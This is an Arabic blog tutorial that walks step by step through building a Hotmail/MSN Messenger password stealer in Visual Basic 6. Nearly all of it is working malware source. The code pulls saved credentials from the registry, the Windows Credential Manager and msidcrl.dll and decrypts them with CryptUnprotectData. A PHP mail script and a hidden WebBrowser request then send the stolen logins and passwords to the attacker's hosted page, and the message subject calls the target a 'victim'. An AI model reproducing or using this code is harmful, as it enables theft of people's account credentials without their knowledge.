بسم الله نبدأ درسنا اليوم بحيث سوف نقوم ببرمجة سارق كلمات سر الهوتميل وسنضع له خاصية رائعة و برأيي هي الأحسن من ناحية التبليغ لأنه يلغي مرحلة مملة وهي فتح النو إبي و فتح بورت أو خاصية الأفتب كلها متعبة وهذه الأسهل برأيي لذا نبدء بعون الله
قم بفتح مشروع جديد في الفيجوال بيسك 6 و قم بإدراج الأدوات التالية
3أدوات تكست 2صغيرتين في العرض و طويلتين الطول هههههه
الأولى لعنوان الرسالة و الثاني للأيميل المرسل إليه و الثالت لمحتوى الرسالة
وأضف WebBrowser
ثم أضف موديل جديد و أكتب الكود التالي:
Option Explicit
Private Type guid
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(0 To 7) As Byte
End Type
Private Const E_NOINTERFACE As Long = &H80004002
Private Const E_NOTIMPL As Long = &H80004001
Private Const guidIEnumVARIANT As String = "{00020404-0000-0000-C000-000000000046}"
Private m_guidIEnumVARIANT As guid
Private Type VTable
Methods(0 To 6) As Long
End Type
Private m_pVTable As Long
Private m_VTable As VTable
Private Type EnumVar
pVTable As Long
cCount As Long
lpCollection As Object
iCurrent As Long
End Type
Private Declare Sub ZeroMemory Lib "kernel32.dll" Alias "RtlZeroMemory" (ByRef Destination As Any, ByVal Length As Long)
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function CoTaskMemAlloc Lib "ole32.dll" (ByVal cb As Long) As Long
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByRef pv As Any)
Private Declare Sub CLSIDFromString Lib "ole32.dll" (ByVal lpsz As Long, ByRef pclsid As guid)
Private Function IsIIDEqual(guid1 As guid, guid2 As guid) As Boolean
IsIIDEqual = ((guid1.Data1 = guid2.Data1) And (guid1.Data2 = guid2.Data2) And _
(guid1.Data3 = guid2.Data3) And (guid1.Data4(0) = guid2.Data4(0)) And (guid1.Data4(1) = guid2.Data4(1)) And _
(guid1.Data4(2) = guid2.Data4(2)) And (guid1.Data4(3) = guid2.Data4(3)) And _
(guid1.Data4(4) = guid2.Data4(4)) And (guid1.Data4(5) = guid2.Data4(5)) And (guid1.Data4(6) = guid2.Data4(6)) And (guid1.Data4(7) = guid2.Data4(7)))
End Function
Public Function FuncPtr(ByVal addr As Long) As Long
FuncPtr = addr
End Function
Public Function InitCollection(ByVal objCallback As Object) As IEnumVARIANT
Dim ptrCollection As Long
Dim Collection As EnumVar
If m_pVTable = 0 Then
With m_VTable
.Methods(0) = FuncPtr(AddressOf QueryInterface)
.Methods(1) = FuncPtr(AddressOf AddRef)
.Methods(2) = FuncPtr(AddressOf Release)
.Methods(3) = FuncPtr(AddressOf IEnumVARIANT_Next)
.Methods(4) = FuncPtr(AddressOf IEnumVARIANT_Skip)
.Methods(5) = FuncPtr(AddressOf IEnumVARIANT_Reset)
.Methods(6) = FuncPtr(AddressOf IEnumVARIANT_Clone)
End With
m_pVTable = VarPtr(m_VTable)
CLSIDFromString ByVal StrPtr(guidIEnumVARIANT), m_guidIEnumVARIANT
End If
With Collection
.pVTable = m_pVTable
.cCount = 1
Set .lpCollection = objCallback
End With
ptrCollection = CoTaskMemAlloc(LenB(Collection))
If ptrCollection Then
CopyMemory ByVal ptrCollection, ByVal VarPtr(Collection), LenB(Collection)
End If
CopyMemory ByVal VarPtr(InitCollection), ptrCollection, 4&
ZeroMemory ByVal VarPtr(Collection), LenB(Collection)
End Function
Private Function QueryInterface(ByRef This As EnumVar, ByRef iid As guid, ByRef ppvObject As Long) As Long
If IsIIDEqual(m_guidIEnumVARIANT, iid) Then
This.cCount = This.cCount + 1
ppvObject = VarPtr(This)
QueryInterface = 0
Else
ppvObject = 0
QueryInterface = E_NOINTERFACE
End If
End Function
Private Function AddRef(ByRef This As EnumVar) As Long
This.cCount = This.cCount + 1
AddRef = This.cCount
End Function
Private Function Release(ByRef This As EnumVar) As Long
This.cCount = This.cCount - 1
Release = This.cCount
If This.cCount = 0 Then
Set This.lpCollection = Nothing
CoTaskMemFree ByVal VarPtr(This)
End If
End Function
Private Function IEnumVARIANT_Next(ByRef This As EnumVar, ByVal celt As Long, ByRef rgVar As Variant, ByVal pCeltFetched As Long) As Long
Dim lng As Long
If celt <> 1 Then
IEnumVARIANT_Next = E_NOTIMPL
Exit Function
End If
If pCeltFetched Then
lng = 1
CopyMemory ByVal pCeltFetched, lng, 4&
End If
IEnumVARIANT_Next = This.lpCollection.ForEach(This.iCurrent, rgVar)
This.iCurrent = This.iCurrent + 1
End Function
Private Function IEnumVARIANT_Clone(ByRef This As EnumVar, ByRef ppEnum As Long) As Long
ppEnum = CoTaskMemAlloc(LenB(This))
CopyMemory ByVal ppEnum, This, LenB(This)
IEnumVARIANT_Clone = 0
End Function
Private Function IEnumVARIANT_Reset(ByRef This As EnumVar)
This.iCurrent = 0
End Function
Private Function IEnumVARIANT_Skip(ByRef This As EnumVar, ByVal celt As Long) As Long
This.iCurrent = This.iCurrent + celt
End Function
ثم قم بفتح كلاس موديل الأول وقم بكتابة الكود التالي مع العلم قم بتسمية الكلاس موديل
msnpwd
Option Explicit
Private m_kullaniciadi As String
Private m_sifre As String
Private m_sürümadi As String
Friend Sub Init(kullaniciadi As String, sifre As String, sürümadi As String)
m_sifre = sifre
m_kullaniciadi = kullaniciadi
m_sürümadi = sürümadi
End Sub
Public Property Get Password() As String
Password = m_sifre
End Property
Public Property Get Login() As String
Login = m_kullaniciadi
End Property
Public Property Get TargetName() As String
TargetName = m_sürümadi
End Property
ثم إضافة كلاس موديل الثاني و قم بكتابة الكود الثالي
Option Explicit
Private Enum CRED_TYPE
GENERIC = 1
DOMAIN_PASSWORD
DOMAIN_CERTIFICATE
DOMAIN_VISIBLE_PASSWORD
MAXIMUM
End Enum
Private Const ERROR_SUCCESS As Long = 0&
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_READ As Long = (READ_CONTROL)
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &H8
Private Const KEY_NOTIFY As Long = &H10
Private Const SYNCHRONIZE As Long = &H100000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const KEY_READ As Long = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type CREDENTIAL_ATTRIBUTE
lpstrKeyword As Long
dwFlags As Long
dwValueSize As Long
lpbValue As Long
End Type
Private Type CREDENTIAL
dwFlags As Long
dwType As Long
lpstrTargetName As Long
lpstrComment As Long
ftLastWritten As FILETIME
dwCredentialBlobSize As Long
lpbCredentialBlob As Long
dwPersist As Long
dwAttributeCount As Long
lpAttributes As Long
lpstrTargetAlias As Long
lpUserName As Long
End Type
Private Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function CredEnumerate Lib "ADVAPI32.dll" Alias "CredEnumerateW" ( _
ByVal lpszFilter As Long, _
ByVal lFlags As Long, _
ByRef pCount As Long, _
ByRef lppCredentials As Long) As Long
Private Declare Function CredDelete Lib "ADVAPI32.dll" Alias "CredDeleteW" ( _
ByVal lpwstrTargetName As Long, _
ByVal dwType As Long, _
ByVal dwFlags As Long) As Long
Private Declare Function CredFree Lib "ADVAPI32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByRef lpData As Any, ByRef lpcbData As Long) As Long
Private Declare Function RegDeleteValue Lib "ADVAPI32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.dll" (ByVal hKey As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
Private Const LMEM_FIXED As Long = &H0
Private Const LMEM_ZEROINIT As Long = &H40
Private Const LPTR As Long = (LMEM_FIXED + LMEM_ZEROINIT)
Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long
Private Const CSIDL_PROGRAM_FILES As Long = &H26
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _
(ByVal hwndOwner As Long, ByVal nFolder As Long, _
pidl As Long) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" _
(ByVal pidl As Long, ByVal pszPath As String) As Long
Private Type UUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Declare Function Initialize Lib "msidcrl.dll" (ByRef guid As UUID, ByVal IDCRLVersion As Long, ByVal dwFlags As Long) As Long
Private Declare Function EnumIdentitiesWithCachedCredentials Lib "msidcrl.dll" (ByVal wszCachedCredType As Long, ByRef phEnumHandle As Long) As Long
Private Declare Function NextIdentity Lib "msidcrl.dll" (ByVal hEnumHandle As Long, ByRef lpwszMemberName As Long) As Long
Private Declare Function PassportFreeMemory Lib "msidcrl.dll" (ByVal ptr As Long) As Long
Private Declare Function CloseEnumIdentitiesHandle Lib "msidcrl.dll" (ByVal hEnumHandle As Long) As Long
Private Declare Function CreateIdentityHandle Lib "msidcrl.dll" (ByVal wszMemberName As Long, ByVal dwFlags As Long, ByRef lphExternalIdentity As Long) As Long
Private Declare Function HasPersistedCredential Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszCredType As Long, ByRef lpbPersisted As Long) As Long
Private Declare Function RemovePersistedCredential Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszCredType As Long) As Long
Private Declare Function GetIdentityPropertyByName Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszPropertyName As Long, ByRef lpszValue As Long) As Long
Private Declare Function BuildAuthTokenRequest Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszPolicy As Long, ByVal dwFlags As Long, ByRef lpReturn As Long) As Long
Private Declare Function CloseIdentityHandle Lib "msidcrl.dll" (ByVal hExternalIdentity As Long) As Long
Private Declare Function Uninitialize Lib "msidcrl.dll" () As Long
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32.dll" (ByVal hLibModule As Long) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
Private Type msnsifresi
strLogin As String
strPass As String
strTargetName As String
End Type
Private m_MSNPass() As msnsifresi
Public Function IsWindowsXPAndLater() As Boolean
Dim os As OSVERSIONINFO
os.dwOSVersionInfoSize = Len(os)
GetVersionEx os
IsWindowsXPAndLater = (os.dwPlatformId = 2) And (((os.dwMinorVersion > 0) And (os.dwMajorVersion = 5)) Or (os.dwMajorVersion > 5))
End Function
Private Static Function metinkopyala(ByVal ptr As Long) As String
If ptr Then
metinkopyala = StrConv(SysAllocString(ptr), vbFromUnicode)
Else
metinkopyala = vbNullString
End If
End Function
Private Function getProgramFilesFolderPath() As String
Dim lRet As Long, pidl As Long, sPath As String
lRet = SHGetSpecialFolderLocation(0&, CSIDL_PROGRAM_FILES, pidl)
If lRet = 0 Then
sPath = String$(512, vbNullChar)
lRet = SHGetPathFromIDList(pidl, sPath)
getProgramFilesFolderPath = Left$(sPath, InStr(sPath, Chr$(0)) - 1)
Else
getProgramFilesFolderPath = vbNullString
End If
LocalFree pidl
End Function
Private Sub getMSN75Passwords(ByRef ub As Long)
Dim szMSNPath As String, hMod As Long
szMSNPath = getProgramFilesFolderPath() & "\MSN Messenger\msidcrl.dll"
If Dir$(szMSNPath) <> vbNullString Then
hMod = LoadLibrary(szMSNPath)
Dim g As UUID
With g
.Data1 = &H7108E71A
.Data2 = &H9926
.Data3 = &H4FCB
.Data4(0) = &HBC
.Data4(1) = &HC9
.Data4(2) = &H9A
.Data4(3) = &H9D
.Data4(4) = &H3F
.Data4(5) = &H32
.Data4(6) = &HE4
.Data4(7) = &H23
End With
Call Initialize(g, 1, 15)
Dim hEnum As Long
Dim ptrEmail As Long
Dim bPersist As Long
Dim ptrAuth As Long, auth As String
Dim ret As Long, posend As Long, posstart As Long
Dim hIdent As Long
ret = EnumIdentitiesWithCachedCredentials(StrPtr("ps:password"), hEnum)
If (ret = 0) Then
ret = NextIdentity(hEnum, ptrEmail)
Do While ret = 0
ret = CreateIdentityHandle(ptrEmail, 255, hIdent)
If (ret = 0) And (ptrEmail <> 0) Then
ret = HasPersistedCredential(hIdent, StrPtr("ps:password"), bPersist)
If (ret = 0) And (bPersist <> 0) Then
ret = BuildAuthTokenRequest(hIdent, StrPtr("ps:password"), 0, ptrAuth)
If (ret = 0) Then
auth = metinkopyala(ptrAuth)
posstart = InStr(auth, "
posend = InStr(auth, "
If (posend > 0) Then
ReDim Preserve m_MSNPass(ub)
With m_MSNPass(ub)
.strLogin = metinkopyala(ptrEmail)
.strPass = Mid$(auth, posstart, posend - posstart)
.strTargetName = "ps:" & .strLogin
End With
ub = ub + 1
End If
End If
If (ptrAuth) Then
Call PassportFreeMemory(ptrAuth)
End If
End If
ret = CloseIdentityHandle(hIdent)
End If
If (ptrEmail) Then
Call PassportFreeMemory(ptrEmail)
End If
ret = NextIdentity(hEnum, ptrEmail)
Loop
End If
Call CloseEnumIdentitiesHandle(hEnum)
ret = EnumIdentitiesWithCachedCredentials(StrPtr("ps:membernameonly"), hEnum)
If (ret = 0) Then
ret = NextIdentity(hEnum, ptrEmail)
Do While ret = 0
ret = CreateIdentityHandle(ptrEmail, 255, hIdent)
If (ret = 0) And (ptrEmail <> 0) Then
ret = HasPersistedCredential(hIdent, StrPtr("ps:password"), bPersist)
If (ret = 0) And (bPersist = 0) Then
ReDim Preserve m_MSNPass(ub)
With m_MSNPass(ub)
.strLogin = metinkopyala(ptrEmail)
.strPass = ""
.strTargetName = "ps:" & .strLogin
End With
ub = ub + 1
End If
ret = CloseIdentityHandle(hIdent)
End If
If (ptrEmail) Then
Call PassportFreeMemory(ptrEmail)
End If
ret = NextIdentity(hEnum, ptrEmail)
Loop
End If
Call CloseEnumIdentitiesHandle(hEnum)
Call Uninitialize
Call FreeLibrary(hMod)
End If
End Sub
Public Sub Refresh()
Dim ret As Long
Dim hKey As Long
Dim dwType As Long
Dim Data() As Byte
Dim dwSize As Long
Dim b64string As String
Dim str As String
Dim dataIn As DATA_BLOB
Dim dataOut As DATA_BLOB
Dim szOut As String
Dim dwNbCred As Long
Dim i As Long, ptr As Long
Dim lpCredentials As Long, Cred As CREDENTIAL
Dim Entropy As DATA_BLOB
Dim ub As Long
Erase m_MSNPass
ub = 0
ret = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\MessengerService", 0, KEY_READ, hKey)
dwSize = 0
ret = RegQueryValueEx(hKey, "PasswordMSN Messenger Service", ByVal 0&, dwType, ByVal 0&, dwSize)
If dwSize Then
ReDim Data(dwSize - 1)
ret = RegQueryValueEx( _
hKey, _
"PasswordMSN Messenger Service", _
ByVal 0&, _
dwType, _
ByVal VarPtr(Data(0)), _
dwSize)
str = StrConv(Data, vbUnicode)
str = Mid$(str, 1, Len(str) - 1)
ReDim m_MSNPass(0)
With m_MSNPass(0)
.strPass = Base64Dec(str)
dwSize = 0
ret = RegQueryValueEx( _
hKey, _
"UserMSN Messenger Service", _
ByVal 0&, _
dwType, _
ByVal 0&, _
dwSize)
ReDim Data(dwSize - 1)
ret = RegQueryValueEx( _
hKey, _
"UserMSN Messenger Service", _
ByVal 0&, _
dwType, _
ByVal VarPtr(Data(0)), _
dwSize)
.strLogin = StrConv(Data, vbUnicode)
.strLogin = Mid$(.strLogin, 1, Len(.strLogin) - 1)
End With
ub = ub + 1
RegCloseKey hKey
End If
RegCloseKey hKey
ret = RegOpenKeyEx( _
HKEY_CURRENT_USER, _
"Software\Microsoft\MSNMessenger", _
0, _
KEY_READ, _
hKey)
If ret = ERROR_SUCCESS Then
dwSize = 0
ret = RegQueryValueEx( _
hKey, _
"Password.NET Messenger Service", _
ByVal 0&, _
dwType, _
ByVal 0&, _
dwSize)
If ret = ERROR_SUCCESS Then
ReDim Data(dwSize - 1)
ret = RegQueryValueEx( _
hKey, _
"Password.NET Messenger Service", _
ByVal 0&, _
dwType, _
ByVal VarPtr(Data(0)), _
dwSize)
If ret <> ERROR_SUCCESS Then Exit Sub
ReDim Preserve m_MSNPass(ub)
dataIn.pbData = VarPtr(Data(0)) + 2
dataIn.cbData = dwSize - 2
Call CryptUnprotectData( _
dataIn, _
ByVal 0&, _
ByVal 0&, ByVal 0&, ByVal 0&, 1, dataOut)
b64string = Space(dataOut.cbData \ 2)
CopyMemory ByVal StrPtr(b64string), ByVal dataOut.pbData, dataOut.cbData
b64string = StrConv(b64string, vbUnicode)
With m_MSNPass(ub)
.strPass = Base64Dec(b64string)
dwSize = 0
ret = RegQueryValueEx( _
hKey, _
"User.NET Messenger Service", _
ByVal 0&, _
dwType, _
ByVal 0&, _
dwSize)
ReDim Data(dwSize - 1)
ret = RegQueryValueEx( _
hKey, _
"User.NET Messenger Service", _
ByVal 0&, _
dwType, _
ByVal VarPtr(Data(0)), _
dwSize)
.strLogin = StrConv(Data, vbUnicode)
.strLogin = Mid$(.strLogin, 1, Len(.strLogin) - 1)
End With
ub = ub + 1
LocalFree dataOut.pbData
End If
End If
RegCloseKey hKey
If IsWindowsXPAndLater Then
str = "Passport.Net\*"
Call CredEnumerate(StrPtr(str), 0, dwNbCred, lpCredentials)
If dwNbCred Then
Entropy.cbData = 74
Dim iBufEntropy(36) As Integer
Dim guid As String
guid = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0" & vbNullChar
Dim k As Long
For k = 0 To 36
iBufEntropy(k) = CInt(Asc(Mid(guid, k + 1, 1)) * 4)
Next
Entropy.pbData = VarPtr(iBufEntropy(0))
ReDim Preserve m_MSNPass(ub + dwNbCred - 1)
For i = ub To ub + dwNbCred - 1
CopyMemory ByVal VarPtr(ptr), ByVal lpCredentials + (i - ub) * 4, 4&
CopyMemory ByVal VarPtr(Cred), ByVal ptr, LenB(Cred)
dataIn.pbData = Cred.lpbCredentialBlob
dataIn.cbData = Cred.dwCredentialBlobSize
dataOut.cbData = 0
dataOut.pbData = 0
Call CryptUnprotectData( _
dataIn, _
ByVal 0&, _
ByVal VarPtr(Entropy), _
ByVal 0&, _
ByVal 0&, 0, dataOut)
szOut = Space(dataOut.cbData \ 2 - 1)
CopyMemory ByVal StrPtr(szOut), ByVal dataOut.pbData, dataOut.cbData
With m_MSNPass(i)
.strLogin = metinkopyala(Cred.lpUserName)
.strTargetName = metinkopyala(Cred.lpstrTargetName)
.strPass = szOut
End With
LocalFree dataOut.pbData
Next
ub = ub + dwNbCred
End If
CredFree lpCredentials
End If
getMSN75Passwords ub
If IsWindowsXPAndLater Then
Dim az(17) As Byte, er As Byte, ty As Long
az(0) = &H26: az(1) = &H30: az(2) = &H6F: az(3) = &H66: az(4) = &H51: az(5) = &H65: az(6) = &H38: az(7) = &H52: az(8) = &H62: az(9) = &H6C: az(10) = &H4E: az(11) = &H64: az(12) = &H67: az(13) = &H6E: az(14) = &H5A: az(15) = &H53: az(16) = &H55: az(17) = &H4A
ty = LocalAlloc(LPTR, 38)
For i = 0 To 17
er = (az(17 - i) Xor 12) + (17 - i)
CopyMemory ByVal ty + (i * 2), er, 1&
Next
Call CredEnumerate( _
ty, _
0, _
dwNbCred, _
lpCredentials _
)
If dwNbCred Then
ReDim Preserve m_MSNPass(ub + dwNbCred - 1)
For i = ub To ub + dwNbCred - 1
CopyMemory ByVal VarPtr(ptr), ByVal lpCredentials + (i - ub) * 4, 4&
CopyMemory ByVal VarPtr(Cred), ByVal ptr, LenB(Cred)
dataIn.pbData = Cred.lpbCredentialBlob
dataIn.cbData = Cred.dwCredentialBlobSize
Call CryptUnprotectData(dataIn, 0&, 0&, 0&, 0&, 1&, dataOut)
dataOut.pbData = dataIn.pbData
With m_MSNPass(i)
.strLogin = metinkopyala(Cred.lpUserName)
.strTargetName = metinkopyala(Cred.lpstrTargetName)
.strPass = Space(dataIn.cbData \ 2)
CopyMemory ByVal StrPtr(.strPass), ByVal dataOut.pbData, dataIn.cbData
End With
Next
ub = ub + dwNbCred
End If
CredFree lpCredentials
LocalFree ty
End If
End Sub
Private Function Base64Dec(Base64String As String) As String
Static Enc() As Byte
Dim b() As Byte, Out() As Byte, i&, j&, L&, Dec(0 To 255) As Byte
If (Not Val(Not Enc)) = 0 Then
Enc = StrConv("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", vbFromUnicode)
End If
For i = 0 To 255: Dec(i) = 64: Next
For i = 0 To 63: Dec(Enc(i)) = i: Next
L = Len(Base64String): b = StrConv(Base64String, vbFromUnicode)
ReDim Preserve Out(0 To (L \ 4) * 3 - 1)
For i = 0 To UBound(b) Step 4
Out(j) = (Dec(b(i)) * 4) Or (Dec(b(i + 1)) \ 16): j = j + 1
Out(j) = (Dec(b(i + 1)) And 15) * 16 Or (Dec(b(i + 2)) \ 4): j = j + 1
Out(j) = (Dec(b(i + 2)) And 3) * 64 Or Dec(b(i + 3)): j = j + 1
Next i
If b(L - 2) = 61 Then j = 2 Else If b(L - 1) = 61 Then j = 1 Else j = 0
ReDim Preserve Out(0 To UBound(Out) - j)
Base64Dec = StrConv(Out, vbUnicode)
End Function
Public Function NewEnum() As IEnumVARIANT
Set NewEnum = InitCollection(Me)
Refresh
End Function
Public Property Get Item(ByVal Index As Long) As msnpwd
If (Index < 0) Or (Index >= Count) Then Exit Property
Dim msnp As msnsifresi
Dim msn As New msnpwd
msnp = m_MSNPass(Index)
msn.Init msnp.strLogin, msnp.strPass, msnp.strTargetName
Set Item = msn
Set msn = Nothing
End Property
Public Function ForEach(ByVal iCurrent As Long, var As Variant) As Long
Set var = Item(iCurrent)
If var Is Nothing Then ForEach = 1 Else ForEach = 0
End Function
Public Property Get Count() As Long
On Error GoTo Fin
Count = 0
Count = UBound(m_MSNPass) + 1
Fin:
End Property
ثم سمي الكلاس موديل الثاني ب
msnpwds
الآن إفتح الفورم و أكتب في مكان فارغ الكود التالي
Sub sifrelerial()
For Each msnmp In PMSNMessenger
Text3.Text = Text3.Text & "Msn Adresse : " & msnmp.Login & vbCrLf & vbCrLf & "Password : " & msnmp.Password & vbCrLf & vbCrLf
Next
End Sub
و في التصاريح العامة أكتب ما يلي
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private PMSNMessenger As New msnpwds
Dim msnmp As msnpwd
ثم أضف في مكان فارغ ما يلي
Public Sub Delay(HowLong As Date)
TempTime = DateAdd("s", HowLong, Now)
While TempTime > Now
DoEvents
Wend
End Sub
و أخيرا ضع الكود الأخير في الفورم لود
Text1.Text = "XXXXX@EMAIL.com"
Text2.Text = "new victim fucked now "
sifrelerial
ثم نأتي إلى المرحلة الأخيرة و هي برمجة الملف الذي يرسل التبليغ إليك و هو ملف من نوع بي ش بي نفتح ملف نصي تكس ت ونكتب الكود التالي
$mail=$_GET[mail];
$subject=$_GET[subject];
$body=$_GET[body];
mail($mail,$subject,$body);
?>
وقم برفعه على إستضافة مجانية و أفتح الفورم لود مرة أخرى أكتب تحت الكود الأول ما يلي
Delay 5
WebBrowser1.Navigate "http://موقعك.net/mail.php" + "?mail=" + Text1 + "&subject=" + Text2 + "&body=" + Text3
و الآن برنامجك جاهز
WWW.AMINE-TECH.BLOGSPOT.COM
إلى اللقاء
0 التعليقات:
إرسال تعليق